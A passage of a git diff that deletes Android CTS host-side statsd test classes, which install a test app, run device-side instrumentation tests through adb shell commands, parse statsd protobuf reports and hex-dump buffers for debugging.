-                        String.format("%d", PHONE_TYPE_CDMA).equals(phone.get("getPhoneType()"))
-                        || String.format("%d", PHONE_TYPE_CDMA_LTE)
-                                .equals(phone.get("getPhoneType()")));
-    }
-
-    // Checks that a timestamp has been truncated to be a multiple of 5 min
-    protected void assertTimestampIsTruncated(long timestampNs) {
-        long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
-        assertWithMessage("Timestamp is not truncated")
-                .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
deleted file mode 100644
index 0c9921e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.validation.ValidationTestUtil;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.result.TestDescription;
-import com.android.tradefed.result.TestResult;
-import com.android.tradefed.result.TestRunResult;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import com.google.protobuf.InvalidProtocolBufferException;
-import com.google.protobuf.MessageLite;
-import com.google.protobuf.Parser;
-
-import java.io.FileNotFoundException;
-import java.util.Map;
-
-import javax.annotation.Nonnull;
-import javax.annotation.Nullable;
-
-// Largely copied from incident's ProtoDumpTestCase
-public class BaseTestCase extends DeviceTestCase implements IBuildReceiver {
-
-    protected IBuildInfo mCtsBuild;
-
-    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        assertThat(mCtsBuild).isNotNull();
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    public IBuildInfo getBuild() {
-        return mCtsBuild;
-    }
-
-    /**
-     * Create and return {@link ValidationTestUtil} and give it the current build.
-     */
-    public ValidationTestUtil createValidationUtil() {
-        ValidationTestUtil util = new ValidationTestUtil();
-        util.setBuild(getBuild());
-        return util;
-    }
-
-    /**
-     * Call onto the device with an adb shell command and get the results of
-     * that as a proto of the given type.
-     *
-     * @param parser A protobuf parser object. e.g. MyProto.parser()
-     * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
-     *
-     * @throws DeviceNotAvailableException If there was a problem communicating with
-     *      the test device.
-     * @throws InvalidProtocolBufferException If there was an error parsing
-     *      the proto. Note that a 0 length buffer is not necessarily an error.
-     */
-    public <T extends MessageLite> T getDump(Parser<T> parser, String command)
-            throws DeviceNotAvailableException, InvalidProtocolBufferException {
-        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-        getDevice().executeShellCommand(command, receiver);
-        if (false) {
-            CLog.d("Command output while parsing " + parser.getClass().getCanonicalName()
-                    + " for command: " + command + "\n"
-                    + BufferDebug.debugString(receiver.getOutput(), -1));
-        }
-        try {
-            return parser.parseFrom(receiver.getOutput());
-        } catch (Exception ex) {
-            CLog.d("Error parsing " + parser.getClass().getCanonicalName() + " for command: "
-                    + command
-                    + BufferDebug.debugString(receiver.getOutput(), 16384));
-            throw ex;
-        }
-    }
-
-    /**
-     * Install a device side test package.
-     *
-     * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
-     * @param grantPermissions whether to give runtime permissions.
-     */
-    protected void installPackage(String appFileName, boolean grantPermissions)
-            throws FileNotFoundException, DeviceNotAvailableException {
-        CLog.d("Installing app " + appFileName);
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        final String result = getDevice().installPackage(
-                buildHelper.getTestFile(appFileName), true, grantPermissions);
-        assertWithMessage(String.format("Failed to install %s: %s", appFileName, result))
-            .that(result).isNull();
-    }
-
-    protected CompatibilityBuildHelper getBuildHelper() {
-        return new CompatibilityBuildHelper(mCtsBuild);
-    }
-
-    /**
-     * Run a device side test.
-     *
-     * @param pkgName Test package name, such as "com.android.server.cts.netstats".
-     * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
-     * @param testMethodName Test method name.
-     * @return {@link TestRunResult} of this invocation.
-     * @throws DeviceNotAvailableException
-     */
-    @Nonnull
-    protected TestRunResult runDeviceTests(@Nonnull String pkgName,
-            @Nullable String testClassName, @Nullable String testMethodName)
-            throws DeviceNotAvailableException {
-        if (testClassName != null && testClassName.startsWith(".")) {
-            testClassName = pkgName + testClassName;
-        }
-
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-                pkgName, TEST_RUNNER, getDevice().getIDevice());
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
-        CollectingTestListener listener = new CollectingTestListener();
-        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
-
-        final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new Error("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-        if (result.getNumTests() == 0) {
-            throw new Error("No tests were run on the device");
-        }
-
-        if (result.hasFailedTests()) {
-            // build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                    result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
-
-        return result;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
deleted file mode 100644
index 2b35052..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import java.nio.charset.StandardCharsets;
-import java.util.Formatter;
-
-/**
- * Print utility for byte[].
- */
-public class BufferDebug {
-    private static final int HALF_WIDTH = 8;
-
-    /**
-     * Number of bytes represented per row in hex output.
-     */
-    public static final int WIDTH = HALF_WIDTH * 2;
-
-    /**
-     * Return a string suitable for debugging.
-     * - If the byte is printable as an ascii string, return that, in quotation marks,
-     *   with a newline at the end.
-     * - Otherwise, return the hexdump -C style output.
-     *
-     * @param buf the buffer
-     * @param max print up to _max_ bytes, or the length of the string. If max is 0,
-     *      print the whole contents of buf.
-     */
-    public static String debugString(byte[] buf, int max) {
-        if (buf == null) {
-            return "(null)";
-        }
-        if (buf.length == 0) {
-            return "(length 0)";
-        }
-
-        int len = max;
-        if (len <= 0 || len > buf.length) {
-            max = len = buf.length;
-        }
-
-        if (isPrintable(buf, len)) {
-            return "\"" + new String(buf, 0, len, StandardCharsets.UTF_8) + "\"\n";
-        } else {
-            return toHex(buf, len, max);
-        }
-    }
-
-    private static String toHex(byte[] buf, int len, int max) {
-        final StringBuilder str = new StringBuilder();
-
-        // All but the last row
-        int rows = len / WIDTH;
-        for (int row = 0; row < rows; row++) {
-            writeRow(str, buf, row * WIDTH, WIDTH, max);
-        }
-
-        // Last row
-        if (len % WIDTH != 0) {
-            writeRow(str, buf, rows * WIDTH, max - (rows * WIDTH), max);
-        }
-
-        // Final len
-        str.append(String.format("%10d 0x%08x  ", buf.length, buf.length));
-        if (buf.length != max) {
-            str.append(String.format("truncated to %d 0x%08x", max, max));
-        }
-        str.append('\n');
-
-        return str.toString();
-    }
-
-    private static void writeRow(StringBuilder str, byte[] buf, int start, int len, int max) {
-        final Formatter f = new Formatter(str);
-
-        // Start index
-        f.format("%10d 0x%08x  ", start, start);
-
-        // One past the last char we will print
-        int end = start + len;
-        // Number of missing caracters due to this being the last line.
-        int padding = 0;
-        if (start + WIDTH > max) {
-            padding = WIDTH - (end % WIDTH);
-            end = max;
-        }
-
-        // Hex
-        for (int i = start; i < end; i++) {
-            f.format("%02x ", buf[i]);
-            if (i == start + HALF_WIDTH - 1) {
-                str.append(" ");
-            }
-        }
-        for (int i = 0; i < padding; i++) {
-            str.append("   ");
-        }
-        if (padding >= HALF_WIDTH) {
-            str.append(" ");
-        }
-
-        str.append("  ");
-        for (int i = start; i < end; i++) {
-            byte b = buf[i];
-            if (isPrintable(b)) {
-                str.append((char)b);
-            } else {
-                str.append('.');
-            }
-            if (i == start + HALF_WIDTH - 1) {
-                str.append("  ");
-            }
-        }
-
-        str.append('\n');
-    }
-
-    private static boolean isPrintable(byte[] buf, int len) {
-        for (int i=0; i<len; i++) {
-            if (!isPrintable(buf[i])) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    private static boolean isPrintable(byte c) {
-        return c >= 0x20 && c <= 0x7e;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
deleted file mode 100644
index 03facd0..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ /dev/null
@@ -1,328 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MessageMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Base class for testing Statsd atoms that report a uid. Tests are performed via a device-side app.
- */
-public class DeviceAtomTestCase extends AtomTestCase {
-
-    public static final String DEVICE_SIDE_TEST_APK = "CtsStatsdApp.apk";
-    public static final String DEVICE_SIDE_TEST_PACKAGE =
-            "com.android.server.cts.device.statsd";
-    public static final long DEVICE_SIDE_TEST_PACKAGE_VERSION = 10;
-    public static final String DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME =
-            "com.android.server.cts.device.statsd.StatsdCtsForegroundService";
-    private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT =
-            "com.android.server.cts.device.statsd/.StatsdCtsBackgroundService";
-    public static final long DEVICE_SIDE_TEST_PKG_HASH =
-            Long.parseUnsignedLong("15694052924544098582");
-
-    // Constants from device side tests (not directly accessible here).
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_LMK = "action.lmk";
-
-    public static final String CONFIG_NAME = "cts_config";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        installTestApp();
-        Thread.sleep(1000);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        super.tearDown();
-    }
-
-    /**
-     * Performs a device-side test by calling a method on the app and returns its stats events.
-     * @param methodName the name of the method in the app's AtomTests to perform
-     * @param atom atom tag (from atoms.proto)
-     * @param key atom's field corresponding to state
-     * @param stateOn 'on' value
-     * @param stateOff 'off' value
-     * @param minTimeDiffMs max allowed time between start and stop
-     * @param maxTimeDiffMs min allowed time between start and stop
-     * @param demandExactlyTwo whether there must be precisely two events logged (1 start, 1 stop)
-     * @return list of events with the app's uid matching the configuration defined by the params.
-     */
-    protected List<EventMetricData> doDeviceMethodOnOff(
-            String methodName, int atom, int key, int stateOn, int stateOff,
-            int minTimeDiffMs, int maxTimeDiffMs, boolean demandExactlyTwo) throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOn));
-        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOff));
-        List<EventMetricData> data = doDeviceMethod(methodName, conf);
-
-        if (demandExactlyTwo) {
-            assertThat(data).hasSize(2);
-        } else {
-            assertThat(data.size()).isAtLeast(2);
-        }
-        assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMs, maxTimeDiffMs);
-        return data;
-    }
-
-    /**
-     *
-     * @param methodName the name of the method in the app's AtomTests to perform
-     * @param cfg statsd configuration
-     * @return list of events with the app's uid matching the configuration.
-     */
-    protected List<EventMetricData> doDeviceMethod(String methodName, StatsdConfig.Builder cfg)
-            throws Exception {
-        removeConfig(CONFIG_ID);
-        getReportList();  // Clears previous data on disk.
-        uploadConfig(cfg);
-        int appUid = getUid();
-        LogUtil.CLog.d("\nPerforming device-side test of " + methodName + " for uid " + appUid);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", methodName);
-
-        return getEventMetricDataList();
-    }
-
-    protected void createAndUploadConfig(int atomTag, boolean useAttribution) throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atomTag, useAttribution);
-        uploadConfig(conf);
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the given key AND has the app's uid.
-     * @param conf configuration
-     * @param atomTag atom tag (from atoms.proto)
-     * @param fvm FieldValueMatcher.Builder for the relevant key
-     */
-    @Override
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag, FieldValueMatcher.Builder fvm)
-            throws Exception {
-
-        final int UID_KEY = 1;
-        FieldValueMatcher.Builder fvmUid = createAttributionFvm(UID_KEY);
-        addAtomEvent(conf, atomTag, Arrays.asList(fvm, fvmUid));
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the app's uid.
-     * @param conf configuration
-     * @param atomTag atom tag (from atoms.proto)
-     * @param useAttribution If true, the atom has a uid within an attribution node. Else, the atom
-     * has a uid but not in an attribution node.
-     */
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
-            boolean useAttribution) throws Exception {
-        final int UID_KEY = 1;
-        FieldValueMatcher.Builder fvmUid;
-        if (useAttribution) {
-            fvmUid = createAttributionFvm(UID_KEY);
-        } else {
-            fvmUid = createFvm(UID_KEY).setEqString(DEVICE_SIDE_TEST_PACKAGE);
-        }
-        addAtomEvent(conf, atomTag, Arrays.asList(fvmUid));
-    }
-
-    /**
-     * Creates a FieldValueMatcher for atoms that use AttributionNode
-     */
-    protected FieldValueMatcher.Builder createAttributionFvm(int field) {
-        final int ATTRIBUTION_NODE_UID_KEY = 1;
-        return createFvm(field).setPosition(Position.ANY)
-                .setMatchesTuple(MessageMatcher.newBuilder()
-                        .addFieldValueMatcher(createFvm(ATTRIBUTION_NODE_UID_KEY)
-                                .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
-    }
-
-    /**
-     * Gets the uid of the test app.
-     */
-    protected int getUid() throws Exception {
-        int currentUser = getDevice().getCurrentUser();
-        String uidLine = getDevice().executeShellCommand("cmd package list packages -U --user "
-                + currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
-        String[] uidLineParts = uidLine.split(":");
-        // 3rd entry is package uid
-        assertThat(uidLineParts.length).isGreaterThan(2);
-        int uid = Integer.parseInt(uidLineParts[2].trim());
-        assertThat(uid).isGreaterThan(10000);
-        return uid;
-    }
-
-    /**
-     * Installs the test apk.
-     */
-    protected void installTestApp() throws Exception {
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-        LogUtil.CLog.i("Installing device-side test app with uid " + getUid());
-        allowBackgroundServices();
-    }
-
-    /**
-     * Uninstalls the test apk.
-     */
-    protected void uninstallPackage() throws Exception{
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-    }
-
-    /**
-     * Required to successfully start a background service from adb in Android O.
-     */
-    protected void allowBackgroundServices() throws Exception {
-        getDevice().executeShellCommand(String.format(
-                "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
-    }
-
-    /**
-     * Runs a (background) service to perform the given action.
-     * @param actionValue the action code constants indicating the desired action to perform.
-     */
-    protected void executeBackgroundService(String actionValue) throws Exception {
-        allowBackgroundServices();
-        getDevice().executeShellCommand(String.format(
-                "am startservice -n '%s' -e %s %s",
-                DEVICE_SIDE_BG_SERVICE_COMPONENT,
-                KEY_ACTION, actionValue));
-    }
-
-
-    /** Make the test app standby-active so it can run syncs and jobs immediately. */
-    protected void allowImmediateSyncs() throws Exception {
-        getDevice().executeShellCommand("am set-standby-bucket "
-                + DEVICE_SIDE_TEST_PACKAGE + " active");
-    }
-
-    /**
-     * Runs the specified activity.
-     */
-    protected void runActivity(String activity, String actionKey, String actionValue)
-            throws Exception {
-        runActivity(activity, actionKey, actionValue, WAIT_TIME_LONG);
-    }
-
-    /**
-     * Runs the specified activity.
-     */
-    protected void runActivity(String activity, String actionKey, String actionValue,
-            long waitTime) throws Exception {
-        try (AutoCloseable a = withActivity(activity, actionKey, actionValue)) {
-            Thread.sleep(waitTime);
-        }
-    }
-
-    /**
-     * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
-     * when closed.
-     *
-     * <p>Example usage:
-     * <pre>
-     *     try (AutoClosable a = withActivity("activity", "action", "action-value")) {
-     *         doStuff();
-     *     }
-     * </pre>
-     */
-    protected AutoCloseable withActivity(String activity, String actionKey, String actionValue)
-            throws Exception {
-        String intentString = null;
-        if (actionKey != null && actionValue != null) {
-            intentString = actionKey + " " + actionValue;
-        }
-        if (intentString == null) {
-            getDevice().executeShellCommand(
-                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity);
-        } else {
-            getDevice().executeShellCommand(
-                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity + " -e " +
-                            intentString);
-        }
-        return () -> {
-            getDevice().executeShellCommand(
-                    "am force-stop " + DEVICE_SIDE_TEST_PACKAGE);
-            Thread.sleep(WAIT_TIME_SHORT);
-        };
-    }
-
-    protected void resetBatteryStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys batterystats --reset");
-    }
-
-    protected void clearProcStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --clear");
-    }
-
-    protected void startProcStatsTesting() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --start-testing");
-    }
-
-    protected void stopProcStatsTesting() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --stop-testing");
-    }
-
-    protected void commitProcStatsToDisk() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --commit");
-    }
-
-    protected void rebootDeviceAndWaitUntilReady() throws Exception {
-        rebootDevice();
-        // Wait for 2 mins.
-        assertWithMessage("Device failed to boot")
-            .that(getDevice().waitForBootComplete(120_000)).isTrue();
-        assertWithMessage("Stats service failed to start")
-            .that(waitForStatsServiceStart(60_000)).isTrue();
-        Thread.sleep(2_000);
-    }
-
-    protected boolean waitForStatsServiceStart(final long waitTime) throws Exception {
-        LogUtil.CLog.i("Waiting %d ms for stats service to start", waitTime);
-        int counter = 1;
-        long startTime = System.currentTimeMillis();
-        while ((System.currentTimeMillis() - startTime) < waitTime) {
-            if ("running".equals(getProperty("init.svc.statsd"))) {
-                return true;
-            }
-            Thread.sleep(Math.min(200 * counter, 2_000));
-            counter++;
-        }
-        LogUtil.CLog.w("Stats service did not start after %d ms", waitTime);
-        return false;
-    }
-
-    boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
-        final String output = getDevice().executeShellCommand(
-                "settings get global netstats_combine_subtype_enabled").trim();
-        return output.equals("1");
-    }
-
-    void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
-        getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
-                + (enable ? "1" : "0"));
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
deleted file mode 100644
index ee86f01c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.List;
-
-/**
- * Verifies that Automotive's Garage Mode reports its status.
- * Statsd atom tests are done via adb (hostside).
- */
-public class GarageModeAtomTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.GarageModeAtomTests";
-    private static final int SHORT_SLEEP = 100; // Milliseconds
-    private static final int TRY_LIMIT = WAIT_TIME_SHORT / SHORT_SLEEP;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    public void testGarageModeOnOff() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, true)) {
-            return;
-        }
-
-        final int atomTag = Atom.GARAGE_MODE_INFO_FIELD_NUMBER;
-        createAndUploadConfig(atomTag);
-
-        // Flush any old metrics
-        List<EventMetricData> data = getEventMetricDataList();
-
-        turnOnGarageMode();
-        waitForGarageModeState(true);
-
-        turnOffGarageMode();
-        waitForGarageModeState(false);
-    }
-
-    private void turnOnGarageMode() throws Exception {
-        getDevice().executeShellCommand("cmd car_service garage-mode on");
-    }
-    private void turnOffGarageMode() throws Exception {
-        getDevice().executeShellCommand("cmd car_service garage-mode off");
-    }
-
-    private void waitForGarageModeState(boolean requiredState) throws Exception {
-        for (int tryCount = 0; tryCount < TRY_LIMIT; tryCount++) {
-            List<EventMetricData> data = getEventMetricDataList();
-            for (EventMetricData d : data) {
-                boolean isGarageMode = d.getAtom().getGarageModeInfo().getIsGarageMode();
-                if (isGarageMode == requiredState) {
-                    return;
-                }
-            }
-            Thread.sleep(SHORT_SLEEP);
-        }
-        assertTrue("Did not receive an atom with Garage Mode "
-                   + (requiredState ? "ON" : "OFF"), false);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
deleted file mode 100644
index 2fa4233..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * Base class for manipulating process states
- */
-public class ProcStateTestCase extends DeviceAtomTestCase {
-
-  private static final String TAG = "Statsd.ProcStateTestCase";
-
-  private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
-          = "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity";
-  private static final String DEVICE_SIDE_FG_SERVICE_COMPONENT
-          = "com.android.server.cts.device.statsd/.StatsdCtsForegroundService";
-
-  // Constants from the device-side tests (not directly accessible here).
-  public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
-  public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
-  public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
-  public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
-  public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-
-  // Sleep times (ms) that actions invoke device-side.
-  public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
-  public static final int SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP = 60_000;
-  public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
-  public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
-
-  /**
-   * Runs an activity (in the foreground) to perform the given action.
-   * @param actionValue the action code constants indicating the desired action to perform.
-   */
-  protected void executeForegroundActivity(String actionValue) throws Exception {
-    getDevice().executeShellCommand(String.format(
-            "am start -n '%s' -e %s %s",
-            DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
-            KEY_ACTION, actionValue));
-  }
-
-  /**
-   * Runs a simple foreground service.
-   */
-  protected void executeForegroundService() throws Exception {
-    executeForegroundActivity(ACTION_END_IMMEDIATELY);
-    getDevice().executeShellCommand(String.format(
-            "am startservice -n '%s'", DEVICE_SIDE_FG_SERVICE_COMPONENT));
-  }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
deleted file mode 100644
index 0ccb13c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.metadata;
-
-import android.cts.statsd.atom.AtomTestCase;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.tradefed.log.LogUtil;
-
-public class MetadataTestCase extends AtomTestCase {
-    public static final String DUMP_METADATA_CMD = "cmd stats print-stats";
-
-    protected StatsdStatsReport getStatsdStatsReport() throws Exception {
-        try {
-            StatsdStatsReport report = getDump(StatsdStatsReport.parser(),
-                    String.join(" ", DUMP_METADATA_CMD, "--proto"));
-            return report;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to fetch and parse the statsdstats output report.");
-            throw (e);
-        }
-    }
-
-    protected final StatsdConfig.Builder getBaseConfig() throws Exception {
-      StatsdConfig.Builder builder = createConfigBuilder();
-      addAtomEvent(builder, Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
-      return builder;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
deleted file mode 100644
index 7022732..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
